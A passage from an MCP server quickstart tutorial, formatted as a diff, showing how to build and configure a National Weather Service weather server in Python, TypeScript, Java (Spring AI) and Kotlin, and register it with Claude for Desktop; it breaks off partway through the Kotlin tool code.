+ # Install dependencies
+ uv add mcp[cli]
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx2
+ from mcp.server import MCPServer
+
+ # Initialize MCPServer
+ mcp = MCPServer("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ `httpx2` is the HTTP client the SDK itself depends on, so installing `mcp` already brought it in.
+
+ The MCPServer class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx2.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ if __name__ == "__main__":
+ mcp.run(transport="stdio")
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 20 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/server zod
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/server zod
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "types": ["node"],
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/server";
+ import { StdioServerTransport } from "@modelcontextprotocol/server/stdio";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: z.object({
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ }),
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: z.object({
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ }),
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an HTTP-based MCP server with the WebFlux starter.
+ Set the `spring.ai.mcp.server.protocol=STREAMABLE` property to serve it over Streamable HTTP.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
